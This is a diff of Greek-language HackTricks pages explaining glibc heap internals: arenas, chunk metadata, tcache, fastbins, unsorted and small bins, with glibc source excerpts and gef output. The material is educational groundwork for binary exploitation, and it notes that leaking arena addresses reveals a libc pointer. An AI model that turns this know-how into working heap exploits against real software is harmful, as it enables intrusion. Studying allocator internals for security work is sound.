επεκτείνει τη μνήμη που έχει δεσμευτεί για τον σωρό και στη συνέχεια χρησιμοποιεί αυτή τη μνήμη για να δημιουργήσει το νέο chunk. @@ -27,9 +27,9 @@ ## Arenas -Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκάλεσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλεί το mutex. +Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποφεύγει τις **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκάλεσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλεί το mutex. -Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε "arenas," όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas. +Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "arenas", όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas. Η προεπιλεγμένη "κύρια" arena χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα. @@ -37,7 +37,7 @@ ### Subheaps -Τα subheaps χρησιμεύουν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν: +Τα subheaps λειτουργούν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν: 1. **Αρχικός Σωρός vs. Subheaps**: - Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`. @@ -90,11 +90,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) ``` -- Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται) +- Ο πίνακας `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται) - Επομένως, το **πρώτο κομμάτι** αυτών των δοχείων θα έχει έναν **ανάποδο δείκτη σε αυτή τη δομή** και το **τελευταίο κομμάτι** αυτών των δοχείων θα έχει έναν **προForward δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**. - Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών - Το κομμάτι `top` είναι το τελευταίο "κομμάτι", το οποίο είναι βασικά **όλος ο χώρος που απομένει στη σωρό**. Μόλις το κομμάτι κορυφής είναι "άδειο", η σωρός έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο. -- Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης του υπολοίπου τοποθετείται εδώ. +- Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης που απομένει τοποθετείται εδώ. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -163,7 +163,7 @@ typedef struct malloc_chunk* mchunkptr;

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το μέγεθος του τρέχοντος κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει: +Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το τρέχον μέγεθος του κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει: - `A`: Αν είναι 1 προέρχεται από μια υπο-στοίβα, αν είναι 0 είναι στην κύρια αρένα - `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος μιας στοίβας @@ -171,7 +171,7 @@ typedef struct malloc_chunk* mchunkptr; Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τελικά 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει δεδομένα χρήστη όταν είναι κατανεμημένο). -Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται για να περιέχουν επίσης κάποια δεδομένα: +Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται επίσης για να περιέχουν κάποια δεδομένα: - **`fd`**: Δείκτης στο επόμενο κομμάτι - **`bk`**: Δείκτης στο προηγούμενο κομμάτι @@ -185,7 +185,7 @@ typedef struct malloc_chunk* mchunkptr; ### Δείκτες Κομματιών -Όταν χρησιμοποιείται το malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τους επικεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των επικεφαλίδων (μεταδεδομένα).\ +Όταν χρησιμοποιείται malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τους επικεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των επικεφαλίδων (μεταδεδομένα).\ Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -354,7 +354,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -- Ορίστε κεφαλίδα και υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων) +- Ρυθμίστε την κεφαλίδα και την υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -411,19 +411,19 @@ ptr = malloc(0x10); strcpy(ptr, "panda"); } ``` -Ορίστε ένα breakpoint στο τέλος της κύριας συνάρτησης και ας ανακαλύψουμε πού αποθηκεύτηκε η πληροφορία: +Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας ανακαλύψουμε πού αποθηκεύτηκε η πληροφορία:
Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`. -Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τις **προστιθέμενες κεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας κεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν πρόκειται ποτέ να χρησιμοποιηθούν από τον αριθμό μήκους. +Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τους **προστιθέμενους επικεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας επικεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` -### Πολυνηματική Εφαρμογή +### Multithreading Example
@@ -485,7 +485,7 @@ return 0; ## Bins & Memory Allocations/Frees -Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται στο: +Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται σε: {{#ref}} bins-and-memory-allocations.md @@ -493,7 +493,7 @@ bins-and-memory-allocations.md ## Heap Functions Security Checks -Οι συναρτήσεις που εμπλέκονται στο heap θα εκτελούν ορισμένους ελέγχους πριν εκτελέσουν τις ενέργειές τους για να προσπαθήσουν να διασφαλίσουν ότι το heap δεν έχει διαφθαρεί: +Οι συναρτήσεις που εμπλέκονται στο heap θα εκτελούν ορισμένους ελέγχους πριν από την εκτέλεση των ενεργειών τους για να προσπαθήσουν να διασφαλίσουν ότι το heap δεν έχει διαφθαρεί: {{#ref}} heap-memory-functions/heap-functions-security-checks.md @@ -504,5 +504,4 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index 584e20d83..312562004 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -4,7 +4,7 @@ ## Basic Information -Για να βελτιωθεί η αποδοτικότητα της αποθήκευσης των chunks, κάθε chunk δεν είναι απλώς σε μία συνδεδεμένη λίστα, αλλά υπάρχουν διάφοροι τύποι. Αυτοί είναι οι bins και υπάρχουν 5 τύποι bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) μικροί bins, 63 μεγάλοι bins, 1 αταξινόμητος bin, 10 γρήγοροι bins και 64 tcache bins ανά νήμα. +Για να βελτιωθεί η αποδοτικότητα του τρόπου αποθήκευσης των chunks, κάθε chunk δεν είναι απλώς σε μία συνδεδεμένη λίστα, αλλά υπάρχουν διάφοροι τύποι. Αυτοί είναι οι bins και υπάρχουν 5 τύποι bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) μικροί bins, 63 μεγάλοι bins, 1 αταξινόμητος bin, 10 γρήγοροι bins και 64 tcache bins ανά νήμα. Η αρχική διεύθυνση για κάθε αταξινόμητο, μικρό και μεγάλο bin είναι μέσα στην ίδια σειρά. Ο δείκτης 0 είναι ανενεργός, 1 είναι ο αταξινόμητος bin, οι bins 2-64 είναι μικροί bins και οι bins 65-127 είναι μεγάλοι bins. @@ -16,7 +16,7 @@ **Όταν ένα νήμα απελευθερώνει** ένα chunk, **αν δεν είναι πολύ μεγάλο** για να κατανεμηθεί στο tcache και ο αντίστοιχος tcache bin **δεν είναι γεμάτος** (ήδη 7 chunks), **θα κατανεμηθεί εκεί**. Αν δεν μπορεί να πάει στο tcache, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να εκτελέσει την παγκόσμια λειτουργία απελευθέρωσης. -Όταν ένα **chunk κατανεμηθεί**, αν υπάρχει ένα ελεύθερο chunk του απαιτούμενου μεγέθους στο **Tcache θα το χρησιμοποιήσει**, αν όχι, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να βρει ένα στους παγκόσμιους bins ή να δημιουργήσει ένα νέο.\ +Όταν ένα **chunk κατανεμηθεί**, αν υπάρχει ένα ελεύθερο chunk του απαιτούμενου μεγέθους στο **Tcache θα το χρησιμοποιήσει**, αν όχι, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να βρει ένα στις παγκόσμιες bins ή να δημιουργήσει ένα νέο.\ Υπάρχει επίσης μια βελτιστοποίηση, σε αυτή την περίπτωση, ενώ έχει το κλείδωμα του heap, το νήμα **θα γεμίσει το Tcache του με chunks heap (7) του ζητούμενου μεγέθους**, έτσι σε περίπτωση που χρειαστεί περισσότερα, θα τα βρει στο Tcache.
@@ -36,7 +36,7 @@ free(chunk); return 0; } ``` -Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κωδικό op της συνάρτησης main. Στη συνέχεια, με το gef μπορείτε να δείτε το tcache bin σε χρήση: +Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον κωδικό op της συνάρτησης main. Στη συνέχεια, με το gef μπορείτε να δείτε το tcache bin σε χρήση: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -46,7 +46,7 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, #### Δομές & Συναρτήσεις Tcache -Στον παρακάτω κώδικα είναι δυνατόν να δούμε τα **max bins** και **chunks per index**, τη δομή **`tcache_entry`** που δημιουργήθηκε για να αποφεύγονται οι διπλές απελευθερώσεις και τη **`tcache_perthread_struct`**, μια δομή που χρησιμοποιεί κάθε νήμα για να αποθηκεύει τις διευθύνσεις σε κάθε δείκτη του bin. +Στον παρακάτω κώδικα είναι δυνατόν να δει κανείς τα **max bins** και **chunks per index**, τη δομή **`tcache_entry`** που δημιουργήθηκε για να αποφεύγονται οι διπλές απελευθερώσεις και τη **`tcache_perthread_struct`**, μια δομή που χρησιμοποιεί κάθε νήμα για να αποθηκεύει τις διευθύνσεις σε κάθε δείκτη του bin.
@@ -149,23 +149,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct)); #### Δείκτες Tcache -Το tcache έχει αρκετούς κάδους ανάλογα με το μέγεθος και τους αρχικούς δείκτες στο **πρώτο κομμάτι κάθε δείκτη και την ποσότητα κομματιών ανά δείκτη που βρίσκονται μέσα σε ένα κομμάτι**. Αυτό σημαίνει ότι εντοπίζοντας το κομμάτι με αυτές τις πληροφορίες (συνήθως το πρώτο), είναι δυνατόν να βρεθούν όλα τα αρχικά σημεία tcache και η ποσότητα των κομματιών Tcache. +Το tcache έχει αρκετά bins ανάλογα με το μέγεθος και τους αρχικούς δείκτες στο **πρώτο κομμάτι κάθε δείκτη και την ποσότητα κομματιών ανά δείκτη που βρίσκονται μέσα σε ένα κομμάτι**. Αυτό σημαίνει ότι εντοπίζοντας το κομμάτι με αυτές τις πληροφορίες (συνήθως το πρώτο), είναι δυνατόν να βρεθούν όλοι οι αρχικοί δείκτες tcache και η ποσότητα των κομματιών Tcache. -### Γρήγοροι κάδοι +### Γρήγορα bins -Οι γρήγοροι κάδοι έχουν σχεδιαστεί για να **ταχύτητα την κατανομή μνήμης για μικρά κομμάτια** διατηρώντας πρόσφατα απελευθερωμένα κομμάτια σε μια δομή γρήγορης πρόσβασης. Αυτοί οι κάδοι χρησιμοποιούν μια προσέγγιση Last-In, First-Out (LIFO), που σημαίνει ότι το **πιο πρόσφατα απελευθερωμένο κομμάτι είναι το πρώτο** που θα ξαναχρησιμοποιηθεί όταν υπάρχει ένα νέο αίτημα κατανομής. Αυτή η συμπεριφορά είναι ευνοϊκή για την ταχύτητα, καθώς είναι πιο γρήγορο να εισάγεις και να αφαιρείς από την κορυφή μιας στοίβας (LIFO) σε σύγκριση με μια ουρά (FIFO). +Τα γρήγορα bins έχουν σχεδιαστεί για να **ταχύτητα την κατανομή μνήμης για μικρά κομμάτια** διατηρώντας πρόσφατα απελευθερωμένα κομμάτια σε μια δομή γρήγορης πρόσβασης. Αυτά τα bins χρησιμοποιούν μια προσέγγιση Last-In, First-Out (LIFO), που σημαίνει ότι το **πιο πρόσφατα απελευθερωμένο κομμάτι είναι το πρώτο** που θα ξαναχρησιμοποιηθεί όταν υπάρχει ένα νέο αίτημα κατανομής. Αυτή η συμπεριφορά είναι πλεονεκτική για την ταχύτητα, καθώς είναι πιο γρήγορο να εισάγεις και να αφαιρείς από την κορυφή μιας στοίβας (LIFO) σε σύγκριση με μια ουρά (FIFO). -Επιπλέον, **οι γρήγοροι κάδοι χρησιμοποιούν απλές συνδεδεμένες λίστες**, όχι διπλά συνδεδεμένες, γεγονός που βελτιώνει περαιτέρω την ταχύτητα. Δεδομένου ότι τα κομμάτια στους γρήγορους κάδους δεν συγχωνεύονται με γείτονες, δεν υπάρχει ανάγκη για μια περίπλοκη δομή που να επιτρέπει την αφαίρεση από τη μέση. Μια απλή συνδεδεμένη λίστα είναι πιο απλή και γρήγορη για αυτές τις λειτουργίες. +Επιπλέον, **τα γρήγορα bins χρησιμοποιούν απλές συνδεδεμένες λίστες**, όχι διπλές συνδεδεμένες, γεγονός που βελτιώνει περαιτέρω την ταχύτητα. Δεδομένου ότι τα κομμάτια στα γρήγορα bins δεν συγχωνεύονται με γείτονες, δεν υπάρχει ανάγκη για μια περίπλοκη δομή που να επιτρέπει την αφαίρεση από τη μέση. Μια απλή συνδεδεμένη λίστα είναι πιο απλή και γρήγορη για αυτές τις λειτουργίες. -Βασικά, αυτό που συμβαίνει εδώ είναι ότι η κεφαλίδα (ο δείκτης στο πρώτο κομμάτι που θα ελεγχθεί) δείχνει πάντα στο πιο πρόσφατα απελευθερωμένο κομμάτι αυτού του μεγέθους. Έτσι: +Βασικά, αυτό που συμβαίνει εδώ είναι ότι η κεφαλίδα (ο δείκτης στο πρώτο κομμάτι που πρέπει να ελεγχθεί) δείχνει πάντα στο πιο πρόσφατα απελευθερωμένο κομμάτι αυτού του μεγέθους. Έτσι: -- Όταν ένα νέο κομμάτι κατανεμηθεί αυτού του μεγέθους, η κεφαλίδα δείχνει σε ένα ελεύθερο κομμάτι προς χρήση. Καθώς αυτό το ελεύθερο κομμάτι δείχνει στο επόμενο προς χρήση, αυτή η διεύθυνση αποθηκεύεται στην κεφαλίδα ώστε η επόμενη κατανομή να γνωρίζει πού να βρει ένα διαθέσιμο κομμάτι -- Όταν ένα κομμάτι απελευθερωθεί, το ελεύθερο κομμάτι θα αποθηκεύσει τη διεύθυνση του τρέχοντος διαθέσιμου κομματιού και η διεύθυνση αυτού του νέου απελευθερωμένου κομματιού θα τοποθετηθεί στην κεφαλίδα +- Όταν ένα νέο κομμάτι αυτού του μεγέθους κατανεμηθεί, η κεφαλίδα δείχνει σε ένα ελεύθερο κομμάτι προς χρήση. Καθώς αυτό το ελεύθερο κομμάτι δείχνει στο επόμενο προς χρήση, αυτή η διεύθυνση αποθηκεύεται στην κεφαλίδα ώστε η επόμενη κατανομή να γνωρίζει πού να βρει ένα διαθέσιμο κομμάτι +- Όταν ένα κομμάτι απελευθερωθεί, το ελεύθερο κομμάτι θα αποθηκεύσει τη διεύθυνση του τρέχοντος διαθέσιμου κομματιού και η διεύθυνση αυτού του νεοαπελευθερωμένου κομματιού θα τοποθετηθεί στην κεφαλίδα Το μέγιστο μέγεθος μιας συνδεδεμένης λίστας είναι `0x80` και οργανώνονται έτσι ώστε ένα κομμάτι μεγέθους `0x20` να βρίσκεται στον δείκτη `0`, ένα κομμάτι μεγέθους `0x30` να βρίσκεται στον δείκτη `1`... > [!CAUTION] -> Τα κομμάτια στους γρήγορους κάδους δεν ορίζονται ως διαθέσιμα, οπότε διατηρούνται ως κομμάτια γρήγορου κάδου για κάποιο χρονικό διάστημα αντί να μπορούν να συγχωνευτούν με άλλα ελεύθερα κομμάτια που τα περιβάλλουν. +> Τα κομμάτια στα γρήγορα bins δεν ορίζονται ως διαθέσιμα, οπότε διατηρούνται ως κομμάτια γρήγορης κατανομής για κάποιο χρονικό διάστημα αντί να μπορούν να συγχωνευτούν με άλλα ελεύθερα κομμάτια που τα περιβάλλουν. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 @@ -231,7 +231,7 @@ return 0; ``` Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 8 κομμάτια του ίδιου μεγέθους ώστε να γεμίσουν το tcache και το όγδοο αποθηκεύεται στο γρήγορο κομμάτι. -Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο γρήγορο bin: +Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο γρήγορο bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -242,18 +242,18 @@ Fastbins[idx=1, size=0x30] 0x00 ```
-### Αταξινόμητος κάδος +### Αταξινόμητη δεξαμενή -Ο αταξινόμητος κάδος είναι μια **κρυφή μνήμη** που χρησιμοποιείται από τον διαχειριστή σωρού για να επιταχύνει την κατανομή μνήμης. Να πώς λειτουργεί: Όταν ένα πρόγραμμα απελευθερώνει ένα κομμάτι, και αν αυτό το κομμάτι δεν μπορεί να κατανεμηθεί σε tcache ή γρήγορο κάδο και δεν συγκρούεται με το κορυφαίο κομμάτι, ο διαχειριστής σωρού δεν το τοποθετεί αμέσως σε έναν συγκεκριμένο μικρό ή μεγάλο κάδο. Αντίθετα, πρώτα προσπαθεί να **συγχωνεύσει το με οποιαδήποτε γειτονικά ελεύθερα κομμάτια** για να δημιουργήσει ένα μεγαλύτερο μπλοκ ελεύθερης μνήμης. Στη συνέχεια, το τοποθετεί σε έναν γενικό κάδο που ονομάζεται "αταξινόμητος κάδος." +Η αταξινόμητη δεξαμενή είναι μια **κρυφή μνήμη** που χρησιμοποιείται από τον διαχειριστή σωρού για να επιταχύνει την κατανομή μνήμης. Να πώς λειτουργεί: Όταν ένα πρόγραμμα απελευθερώνει ένα κομμάτι, και αν αυτό το κομμάτι δεν μπορεί να κατανεμηθεί σε μια tcache ή γρήγορη δεξαμενή και δεν συγκρούεται με το κορυφαίο κομμάτι, ο διαχειριστής σωρού δεν το τοποθετεί αμέσως σε μια συγκεκριμένη μικρή ή μεγάλη δεξαμενή. Αντίθετα, πρώτα προσπαθεί να **συγχωνεύσει το με οποιαδήποτε γειτονικά ελεύθερα κομμάτια** για να δημιουργήσει ένα μεγαλύτερο μπλοκ ελεύθερης μνήμης. Στη συνέχεια, τοποθετεί αυτό το νέο κομμάτι σε μια γενική δεξαμενή που ονομάζεται "αταξινόμητη δεξαμενή." -Όταν ένα πρόγραμμα **ζητά μνήμη**, ο διαχειριστής σωρού **ελέγχει τον αταξινόμητο κάδο** για να δει αν υπάρχει ένα κομμάτι επαρκούς μεγέθους. Αν βρει ένα, το χρησιμοποιεί αμέσως. Αν δεν βρει ένα κατάλληλο κομμάτι στον αταξινόμητο κάδο, μεταφέρει όλα τα κομμάτια σε αυτή τη λίστα στους αντίστοιχους κάδους τους, είτε μικρούς είτε μεγάλους, με βάση το μέγεθός τους. +Όταν ένα πρόγραμμα **ζητά μνήμη**, ο διαχειριστής σωρού **ελέγχει την αταξινόμητη δεξαμενή** για να δει αν υπάρχει ένα κομμάτι επαρκούς μεγέθους. Αν βρει ένα, το χρησιμοποιεί αμέσως. Αν δεν βρει ένα κατάλληλο κομμάτι στην αταξινόμητη δεξαμενή, μεταφέρει όλα τα κομμάτια σε αυτή τη λίστα στις αντίστοιχες δεξαμενές τους, είτε μικρές είτε μεγάλες, με βάση το μέγεθός τους. -Σημειώστε ότι αν ένα μεγαλύτερο κομμάτι χωριστεί σε 2 μισά και το υπόλοιπο είναι μεγαλύτερο από το MINSIZE, θα τοποθετηθεί ξανά στον αταξινόμητο κάδο. +Σημειώστε ότι αν ένα μεγαλύτερο κομμάτι χωριστεί σε 2 μισά και το υπόλοιπο είναι μεγαλύτερο από το MINSIZE, θα τοποθετηθεί ξανά στην αταξινόμητη δεξαμενή. -Έτσι, ο αταξινόμητος κάδος είναι ένας τρόπος για να επιταχυνθεί η κατανομή μνήμης επαναχρησιμοποιώντας γρήγορα πρόσφατα απελευθερωμένη μνήμη και μειώνοντας την ανάγκη για χρονοβόρες αναζητήσεις και συγχωνεύσεις. +Έτσι, η αταξινόμητη δεξαμενή είναι ένας τρόπος για να επιταχυνθεί η κατανομή μνήμης επαναχρησιμοποιώντας γρήγορα πρόσφατα απελευθερωμένη μνήμη και μειώνοντας την ανάγκη για χρονοβόρες αναζητήσεις και συγχωνεύσεις. > [!CAUTION] -> Σημειώστε ότι ακόμη και αν τα κομμάτια είναι διαφορετικών κατηγοριών, αν ένα διαθέσιμο κομμάτι συγκρούεται με ένα άλλο διαθέσιμο κομμάτι (ακόμη και αν ανήκουν αρχικά σε διαφορετικούς κάδους), θα συγχωνευτούν. +> Σημειώστε ότι ακόμη και αν τα κομμάτια είναι διαφορετικών κατηγοριών, αν ένα διαθέσιμο κομμάτι συγκρούεται με ένα άλλο διαθέσιμο κομμάτι (ακόμα και αν ανήκουν αρχικά σε διαφορετικές δεξαμενές), θα συγχωνευτούν.
@@ -311,12 +311,12 @@ Fastbins[idx=6, size=0x80] 0x00 Οι μικρές θήκες είναι ταχύτερες από τις μεγάλες θήκες αλλά πιο αργές από τις γρήγορες θήκες. -Κάθε θήκη από τις 62 θα έχει **κομμάτια του ίδιου μεγέθους**: 16, 24, ... (με μέγιστο μέγεθος 504 bytes σε 32 bits και 1024 σε 64 bits). Αυτό βοηθά στην ταχύτητα εύρεσης της θήκης όπου θα πρέπει να γίνει η κατανομή χώρου και στην εισαγωγή και αφαίρεση καταχωρήσεων σε αυτές τις λίστες. +Κάθε θήκη από τις 62 θα έχει **κομμάτια του ίδιου μεγέθους**: 16, 24, ... (με μέγιστο μέγεθος 504 bytes σε 32bits και 1024 σε 64bits). Αυτό βοηθά στην ταχύτητα εύρεσης της θήκης όπου θα πρέπει να γίνει η κατανομή χώρου και στην εισαγωγή και αφαίρεση καταχωρήσεων σε αυτές τις λίστες. Αυτός είναι ο τρόπος υπολογισμού του μεγέθους της μικρής θήκης σύμφωνα με τον δείκτη της θήκης: -- Μικρότερο μέγεθος: 2\*4\*δείκτης (π.χ. δείκτης 5 -> 40) -- Μεγαλύτερο μέγεθος: 2\*8\*δείκτης (π.χ. δείκτης 5 -> 80) +- Μικρότερο μέγεθος: 2\*4\*index (π.χ. δείκτης 5 -> 40) +- Μεγαλύτερο μέγεθος: 2\*8\*index (π.χ. δείκτης 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -338,7 +338,7 @@ Fastbins[idx=6, size=0x80] 0x00 ```
